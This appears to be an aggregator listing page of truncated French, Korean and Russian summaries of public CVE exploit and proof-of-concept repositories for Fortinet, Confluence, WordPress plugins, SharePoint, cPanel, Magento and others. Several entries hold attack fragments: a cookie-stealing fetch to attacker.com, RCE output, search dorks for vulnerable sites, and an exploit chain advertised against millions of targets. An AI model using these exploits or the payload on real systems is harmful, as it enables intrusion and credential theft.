CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution Le dépôt contient la description de la CVE-2023-31446 découverte par l'équipe Dodge Industrial pour la plateforme Dodge OPTIFY. ID CVE : CVE-2023-31446 Fournisseur : Cassia Networks Produit : Micrologiciel Cassia Gateway Version :...

-nginxui_discover

Scanner de Découverte d'Interfaces Nginx UI - Détecteur de Version CVE-2026-27944 https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/threading-multi--threaded-brightgreen Auteur : NULL200OK Un scanner multi‑threadé haute...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - Chaîne complète n8n Lecture arbitraire de fichier non authentifiée → Forge de jeton admin → Contournement de sandbox → RCE...

CVE-2023-22527-POC

CVE-2023-22527 &color=brighgreen%3E Description Une vulnérabilité d'injection de template sur les anciennes versions de Confluence Data Center et Server permet à un attaquant non authentifié d'obtenir une exécution de code à distance RCE sur une instance affectée. Les clients utilisant une versio...

CVE-2026-23550

CVE-2026-23550 Modular DS header'User-Agent'; $userAgentMatches = $userAgent && Str::is'ModularConnector/ Linux', $userAgent; $originQuery = $request-has'origin' && $request-get'origin' === 'mo'; $isFromQuery = $originQuery || $userAgentMatches && $request-has'type'; // When is wp-load.php reques...

CVE-2025-5947_Exploit

🔍 WordPress 플러그인 익스플로잇 — Service Finder sf-booking 개요 Service Finder 플러그인은 WordPress용 예약 및 서비스 관리 시스템입니다. 인기와 복잡성 때문에 일부 버전에서는 인증되지 않은 AJAX 엔드포인트 또는 부적절한 접근 제어와 관련된 보안 문제가 있었습니다. 이 README는 연구자들이 설치를 안전하게 식별하고 윤리적 관행dbr krk을 따르는 방법을 설명합니다. 취약한 WP dorks /wp-content/plugins/service-finder/...

CVE-2026-0920

Recherche d'exploitation : CVE-2026-0920 - Backdoor dans LA-Studio Element Kit Analyse technique et Preuve de Concept PoC pour la backdoor critique découverte dans LA-Studio Element Kit pour Elementor versions ≤ 1.5.6.3. Cette vulnérabilité permet la création non authentifiée de comptes...

CVE-2023-41474

IVANTI AVALANCHE - TRAVERSÉE DE CHEMIN Une nouvelle vulnérabilité a été découverte sur Ivanti Avalanche. Testée sur Avalanche Server v6.3.4.153 et identifiée comme CVE-2023-41474. Il s'agit d'une vulnérabilité limitée de traversée de chemin non authentifiée, ce qui signifie que des attaquants non...

CVE-2026-4406

Gravity Forms = 2.9.28 — Cross-Site Scripting réfléchi non authentifié via le paramètre formids de gformgetconfig Résumé de la vulnérabilité "success":true,"data":"common":"form":"pagination":"":null "success":true,"data":"common":"form":"pagination":"":null,"":null...

CVE-2023-6329

CVE-2023-6329 — Contournement d'authentification Control iD iDSecure Un proof-of-concept en Python pour CVE-2023-6329 , une vulnérabilité de contrôle d'accès inapproprié dans Control iD iDSecure versions 4.7.43.0 et inférieures. La faille permet à un attaquant distant non authentifié de...

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom Parani M10 인터콤의 Bluetooth Classic RFCOMM 서비스는 보안 인증 또는 적절한 접근 제어를 적용하지 않은 채 노출되어 있습니다. 범위 내에 있으면 어떤 장치든 적절한 페어링 제한 없이 연결을 설정하고, RFCOMM 채널에 직접 접근하거나 임의 또는 변조된 페이로드를 전송할 수 있습니다. 이 취약점에 대한 개념 증명PoC은 첨부된 PDF에 문서화되...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 est une vulnérabilité critique dans les produits FortiOS et FortiProxy de Fortinet, présente dans leur composant SSL VPN. Cette vulnérabilité permet à un attaquant distant non authentifié d'exécuter du code ou des commandes arbitraires sur le système cible via de...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC Vulnérabilité d'exécution de code à distance non authentifiée dans WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data...

copyfail-rs

copyfail-rs Implémentation en Rust de CVE-2026-31431 Copy Fail — une primitive d'écriture dans le cache de pages du noyau Linux via splice avec AFALG. 中文文档 / Chinese README CVE-2026-31431 L'implémentation algifaead du noyau Linux permet à un utilisateur non privilégié d'écrire des données...

CVE-2026-32201-exploit

Aperçu Exploit Python pour CVE-2026-32201 - validation d'entrée incorrecte dans Microsoft SharePoint Server, permettant l'usurpation réseau non authentifiée C:L/I:L. Affecté : SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoin...

CVE-2026-32475-PoC

CVE-2026-32475 — Elementor Pro: неаутентифицированная произвольная загрузка файлов → RCE Proof-of-concept для CVE-2026-32475 CVSS 9.0: неаутентифицированная произвольная загрузка файлов в плагине Elementor Pro для WordPress ≤ 4.2.1, приводящая к удалённому выполнению кода...

cpsniper

cPanelSniper CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF dans le fichier de session Chaîne d'exploitation en 4 étapes · Shell WHM interactif · VRAIMENT STABLE pour 10M+ cibles · Zéro utilisation mémoire · stdlib uniquement Vue d'ensemble cPanelSniper est un...

CVE-2026-35616

CVE-2026-35616 — Contournement de pré-authentification FortiClient EMS Preuve de concept PoC pour le contournement d'authentification du serveur de gestion de points de terminaison FortiClient CVE-2026-35616 Ce script exploite une vulnérabilité de contournement d'authentification dans FortiClient...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - Téléversement de fichier arbitraire non authentifié ⚠️ Avertissement root@kitploit: CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement...

CVE-2024-34102

CVE-2024-34102 - Exploitation CosmicSting XXE Exploit pour CVE-2024-34102 CosmicSting - Vulnérabilité XML External Entity XXE dans Adobe Commerce et Magento. 📋 À propos de la vulnérabilité CVE-2024-34102 est une vulnérabilité XXE critique XML External Entity affectant : Adobe Commerce versions...